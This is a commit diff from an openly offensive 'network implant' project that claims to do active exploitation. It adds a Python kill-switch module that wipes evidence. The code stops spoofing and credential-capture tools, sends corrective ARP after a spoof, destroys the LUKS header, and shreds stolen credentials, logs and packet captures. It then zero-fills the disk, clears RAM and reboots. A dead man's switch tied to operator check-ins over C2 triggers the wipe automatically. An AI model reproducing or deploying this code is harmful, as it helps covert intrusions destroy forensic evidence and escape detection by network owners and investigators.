Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,473 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kill switch — full evidence wipe and shutdown.
|
||||
|
||||
Sequence:
|
||||
1. Stop all modules + subprocesses (bettercap, tcpdump, Responder)
|
||||
2. Send corrective ARP if ARP spoof was active
|
||||
3. Destroy LUKS header (milliseconds)
|
||||
4. Shred encryption keys + credential database
|
||||
5. dd zero-fill data partition
|
||||
6. Clear RAM
|
||||
7. Reboot (boot flag auto-completes if interrupted)
|
||||
|
||||
Trigger methods: CLI, SSH, BLE, dead man's switch.
|
||||
Boot flag at /var/run/.bb_wipe ensures wipe completes if interrupted.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import signal
|
||||
import shutil
|
||||
import struct
|
||||
import socket
|
||||
import logging
|
||||
import subprocess
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from core.bus import EventBus
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Boot flag — if this file exists on boot, resume wipe
|
||||
WIPE_FLAG = "/var/run/.bb_wipe"
|
||||
|
||||
# Paths to wipe (relative to install root or absolute)
|
||||
DEFAULT_SENSITIVE_PATHS = [
|
||||
"storage/creds/",
|
||||
"storage/config/",
|
||||
"storage/intel/",
|
||||
"storage/audit/",
|
||||
"storage/dns_logs/",
|
||||
"storage/sni_logs/",
|
||||
"storage/logs/",
|
||||
"storage/tool_logs/",
|
||||
"storage/pcaps/",
|
||||
"storage/baseline/",
|
||||
]
|
||||
|
||||
SENSITIVE_FILES = [
|
||||
"storage/config/encryption.key",
|
||||
"storage/creds/credentials.db",
|
||||
"storage/config/luks_header.bak",
|
||||
]
|
||||
|
||||
|
||||
class KillSwitch:
|
||||
"""Full wipe orchestrator.
|
||||
|
||||
Call execute() to perform the complete wipe sequence.
|
||||
Call check_boot_flag() on startup to resume an interrupted wipe.
|
||||
"""
|
||||
|
||||
def __init__(self, bus: EventBus, config: dict,
|
||||
engine=None, tool_manager=None):
|
||||
self.bus = bus
|
||||
self.config = config
|
||||
self.engine = engine
|
||||
self.tool_manager = tool_manager
|
||||
self._install_path = config.get("device", {}).get(
|
||||
"install_path", "/opt/.cache/bb"
|
||||
)
|
||||
self._luks_device = config.get("security", {}).get(
|
||||
"luks_device", "/dev/mapper/sensor-data"
|
||||
)
|
||||
self._luks_partition = config.get("security", {}).get(
|
||||
"luks_partition", ""
|
||||
)
|
||||
self._arp_spoof_active = False
|
||||
self._spoof_gateway = None
|
||||
self._spoof_targets = []
|
||||
self._interface = config.get("network", {}).get(
|
||||
"primary_interface", "eth0"
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Main entry
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def execute(self, reason: str = "manual") -> None:
|
||||
"""Execute the full kill switch sequence. Does not return."""
|
||||
logger.critical("KILL SWITCH ACTIVATED — reason: %s", reason)
|
||||
|
||||
# Set boot flag first so reboot completes the wipe
|
||||
self._set_boot_flag()
|
||||
|
||||
self.bus.emit("KILL_SWITCH",
|
||||
{"reason": reason, "stage": "initiated"},
|
||||
source_module="kill_switch")
|
||||
|
||||
# Phase 1: Stop everything
|
||||
self._stop_all_processes()
|
||||
|
||||
# Phase 2: Corrective ARP
|
||||
self._send_corrective_arp()
|
||||
|
||||
# Phase 3: Destroy LUKS header
|
||||
self._destroy_luks()
|
||||
|
||||
# Phase 4: Shred sensitive files
|
||||
self._shred_sensitive_files()
|
||||
|
||||
# Phase 5: Zero-fill data partition
|
||||
self._zero_fill_partition()
|
||||
|
||||
# Phase 6: Clear RAM
|
||||
self._clear_ram()
|
||||
|
||||
# Phase 7: Remove boot flag and reboot
|
||||
self._clear_boot_flag()
|
||||
self._reboot()
|
||||
|
||||
def check_boot_flag(self) -> bool:
|
||||
"""Check if a wipe was interrupted and should resume.
|
||||
|
||||
Call this on boot. Returns True if wipe was resumed.
|
||||
"""
|
||||
if os.path.exists(WIPE_FLAG):
|
||||
logger.critical("Boot flag detected — resuming interrupted wipe")
|
||||
self.execute(reason="interrupted_resume")
|
||||
return True
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# ARP state (called by active modules to register spoof state)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def set_arp_spoof_state(self, active: bool, gateway: str = None,
|
||||
targets: list = None, interface: str = None) -> None:
|
||||
"""Register current ARP spoof state for corrective ARP on kill."""
|
||||
self._arp_spoof_active = active
|
||||
self._spoof_gateway = gateway
|
||||
self._spoof_targets = targets or []
|
||||
if interface:
|
||||
self._interface = interface
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Phase 1: Stop processes
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _stop_all_processes(self) -> None:
|
||||
"""Stop all modules and managed subprocesses."""
|
||||
logger.info("Kill switch phase 1: stopping all processes")
|
||||
|
||||
if self.engine:
|
||||
try:
|
||||
self.engine.stop_all(timeout=3.0)
|
||||
except Exception:
|
||||
logger.exception("Error stopping modules")
|
||||
|
||||
if self.tool_manager:
|
||||
try:
|
||||
self.tool_manager.stop_all()
|
||||
except Exception:
|
||||
logger.exception("Error stopping tools")
|
||||
|
||||
# Kill any remaining tool PIDs
|
||||
for pid in self.tool_manager.get_all_pids():
|
||||
try:
|
||||
os.kill(pid, signal.SIGKILL)
|
||||
except (OSError, ProcessLookupError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Phase 2: Corrective ARP
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _send_corrective_arp(self) -> None:
|
||||
"""Send corrective gratuitous ARPs if ARP spoof was active."""
|
||||
if not self._arp_spoof_active or not self._spoof_gateway:
|
||||
return
|
||||
|
||||
logger.info("Kill switch phase 2: sending corrective ARP")
|
||||
try:
|
||||
gw_ip = self._spoof_gateway
|
||||
gw_mac = self._resolve_mac(gw_ip)
|
||||
if not gw_mac:
|
||||
logger.warning("Could not resolve gateway MAC for corrective ARP")
|
||||
return
|
||||
|
||||
for target_ip in self._spoof_targets:
|
||||
target_mac = self._resolve_mac(target_ip)
|
||||
if target_mac:
|
||||
self._send_arp_reply(
|
||||
src_mac=gw_mac, src_ip=gw_ip,
|
||||
dst_mac=target_mac, dst_ip=target_ip,
|
||||
interface=self._interface
|
||||
)
|
||||
# Also restore gateway's ARP cache
|
||||
for target_ip in self._spoof_targets:
|
||||
target_mac = self._resolve_mac(target_ip)
|
||||
if target_mac:
|
||||
self._send_arp_reply(
|
||||
src_mac=target_mac, src_ip=target_ip,
|
||||
dst_mac=gw_mac, dst_ip=gw_ip,
|
||||
interface=self._interface
|
||||
)
|
||||
except Exception:
|
||||
logger.exception("Corrective ARP failed")
|
||||
|
||||
@staticmethod
|
||||
def _resolve_mac(ip: str) -> Optional[str]:
|
||||
"""Resolve IP to MAC from /proc/net/arp."""
|
||||
try:
|
||||
with open("/proc/net/arp", "r") as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
if len(parts) >= 4 and parts[0] == ip:
|
||||
mac = parts[3]
|
||||
if mac != "00:00:00:00:00:00":
|
||||
return mac
|
||||
except (FileNotFoundError, PermissionError):
|
||||
pass
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def _send_arp_reply(src_mac: str, src_ip: str, dst_mac: str, dst_ip: str,
|
||||
interface: str) -> None:
|
||||
"""Send a single ARP reply using raw socket."""
|
||||
try:
|
||||
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0806))
|
||||
sock.bind((interface, 0))
|
||||
|
||||
src_mac_bytes = bytes.fromhex(src_mac.replace(":", ""))
|
||||
dst_mac_bytes = bytes.fromhex(dst_mac.replace(":", ""))
|
||||
src_ip_bytes = socket.inet_aton(src_ip)
|
||||
dst_ip_bytes = socket.inet_aton(dst_ip)
|
||||
|
||||
# Ethernet header + ARP reply
|
||||
frame = (
|
||||
dst_mac_bytes + # Dst MAC
|
||||
src_mac_bytes + # Src MAC
|
||||
b"\x08\x06" + # EtherType: ARP
|
||||
b"\x00\x01" + # Hardware type: Ethernet
|
||||
b"\x08\x00" + # Protocol type: IPv4
|
||||
b"\x06" + # Hardware size: 6
|
||||
b"\x04" + # Protocol size: 4
|
||||
b"\x00\x02" + # Opcode: reply
|
||||
src_mac_bytes + # Sender MAC
|
||||
src_ip_bytes + # Sender IP
|
||||
dst_mac_bytes + # Target MAC
|
||||
dst_ip_bytes # Target IP
|
||||
)
|
||||
|
||||
# Send 3 times for reliability
|
||||
for _ in range(3):
|
||||
sock.send(frame)
|
||||
time.sleep(0.1)
|
||||
|
||||
sock.close()
|
||||
except Exception as e:
|
||||
logger.warning("ARP reply send failed: %s", e)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Phase 3: LUKS header destruction
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _destroy_luks(self) -> None:
|
||||
"""Destroy the LUKS header, making encrypted data unrecoverable."""
|
||||
logger.info("Kill switch phase 3: destroying LUKS header")
|
||||
|
||||
if not self._luks_partition:
|
||||
logger.warning("No LUKS partition configured, skipping")
|
||||
return
|
||||
|
||||
# Close the LUKS device first
|
||||
try:
|
||||
subprocess.run(
|
||||
["cryptsetup", "close", self._luks_device.split("/")[-1]],
|
||||
timeout=5, capture_output=True
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Overwrite LUKS header (first 16MB covers all key slots)
|
||||
try:
|
||||
subprocess.run(
|
||||
["dd", "if=/dev/urandom", f"of={self._luks_partition}",
|
||||
"bs=1M", "count=16", "conv=notrunc"],
|
||||
timeout=30, capture_output=True, check=True
|
||||
)
|
||||
logger.info("LUKS header destroyed")
|
||||
except Exception as e:
|
||||
logger.error("LUKS header destruction failed: %s", e)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Phase 4: Shred sensitive files
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _shred_sensitive_files(self) -> None:
|
||||
"""Securely delete sensitive files and directories."""
|
||||
logger.info("Kill switch phase 4: shredding sensitive files")
|
||||
|
||||
base = Path(self._install_path)
|
||||
|
||||
# Shred specific files first
|
||||
for rel_path in SENSITIVE_FILES:
|
||||
fpath = base / rel_path
|
||||
if fpath.exists():
|
||||
self._shred_file(str(fpath))
|
||||
|
||||
# Then directories
|
||||
for rel_path in DEFAULT_SENSITIVE_PATHS:
|
||||
dpath = base / rel_path
|
||||
if dpath.exists():
|
||||
for fpath in dpath.rglob("*"):
|
||||
if fpath.is_file():
|
||||
self._shred_file(str(fpath))
|
||||
try:
|
||||
shutil.rmtree(str(dpath), ignore_errors=True)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# State database
|
||||
state_db = os.path.expanduser("~/.implant/state.db")
|
||||
for f in [state_db, state_db + "-wal", state_db + "-shm"]:
|
||||
if os.path.exists(f):
|
||||
self._shred_file(f)
|
||||
|
||||
@staticmethod
|
||||
def _shred_file(path: str) -> None:
|
||||
"""Overwrite file with random data, then unlink."""
|
||||
try:
|
||||
size = os.path.getsize(path)
|
||||
with open(path, "r+b") as f:
|
||||
# 3 passes: random, zeros, random
|
||||
for pattern in [None, b"\x00", None]:
|
||||
f.seek(0)
|
||||
remaining = size
|
||||
while remaining > 0:
|
||||
chunk = min(remaining, 65536)
|
||||
if pattern is None:
|
||||
data = os.urandom(chunk)
|
||||
else:
|
||||
data = pattern * chunk
|
||||
f.write(data)
|
||||
remaining -= chunk
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
os.unlink(path)
|
||||
except Exception as e:
|
||||
# Fallback: just delete
|
||||
try:
|
||||
os.unlink(path)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Phase 5: Zero-fill
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _zero_fill_partition(self) -> None:
|
||||
"""Zero-fill the data partition."""
|
||||
logger.info("Kill switch phase 5: zero-filling data partition")
|
||||
|
||||
storage_dir = os.path.join(self._install_path, "storage")
|
||||
if not os.path.isdir(storage_dir):
|
||||
storage_dir = self._install_path
|
||||
|
||||
try:
|
||||
# Write zeros until disk full
|
||||
zero_file = os.path.join(storage_dir, ".wipe")
|
||||
subprocess.run(
|
||||
["dd", "if=/dev/zero", f"of={zero_file}",
|
||||
"bs=1M", "status=none"],
|
||||
timeout=600, capture_output=True
|
||||
)
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
os.unlink(os.path.join(storage_dir, ".wipe"))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Phase 6: Clear RAM
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _clear_ram() -> None:
|
||||
"""Drop caches and clear as much RAM as possible."""
|
||||
logger.info("Kill switch phase 6: clearing RAM")
|
||||
try:
|
||||
# Drop page cache, dentries, inodes
|
||||
with open("/proc/sys/vm/drop_caches", "w") as f:
|
||||
f.write("3")
|
||||
except (PermissionError, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# smem or sdmem would be better but may not be installed
|
||||
try:
|
||||
subprocess.run(["sdmem", "-f", "-ll"], timeout=60,
|
||||
capture_output=True)
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Phase 7: Reboot
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _reboot() -> None:
|
||||
"""Reboot the system."""
|
||||
logger.info("Kill switch phase 7: rebooting")
|
||||
try:
|
||||
subprocess.run(["reboot"], timeout=5)
|
||||
except Exception:
|
||||
try:
|
||||
os.system("reboot")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Boot flag
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _set_boot_flag() -> None:
|
||||
"""Create boot flag to resume wipe if interrupted."""
|
||||
try:
|
||||
Path(WIPE_FLAG).parent.mkdir(parents=True, exist_ok=True)
|
||||
Path(WIPE_FLAG).touch()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def _clear_boot_flag() -> None:
|
||||
"""Remove boot flag after successful wipe."""
|
||||
try:
|
||||
os.unlink(WIPE_FLAG)
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Dead man's switch
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_dead_man_switch(self, interval_hours: int = 24) -> None:
|
||||
"""Start dead man's switch timer.
|
||||
|
||||
If not reset within interval_hours, trigger kill switch.
|
||||
Intended to be reset by operator check-in via C2.
|
||||
"""
|
||||
self._dms_interval = interval_hours * 3600
|
||||
self._dms_last_checkin = time.time()
|
||||
|
||||
import threading
|
||||
def _dms_loop():
|
||||
while True:
|
||||
time.sleep(60)
|
||||
elapsed = time.time() - self._dms_last_checkin
|
||||
if elapsed > self._dms_interval:
|
||||
logger.critical("Dead man's switch triggered (no check-in for %dh)",
|
||||
interval_hours)
|
||||
self.execute(reason="dead_man_switch")
|
||||
|
||||
t = threading.Thread(target=_dms_loop, daemon=True, name="sensor-dms")
|
||||
t.start()
|
||||
|
||||
def reset_dead_man_switch(self) -> None:
|
||||
"""Reset the dead man's switch timer (operator check-in)."""
|
||||
self._dms_last_checkin = time.time()
|
||||
Reference in New Issue
Block a user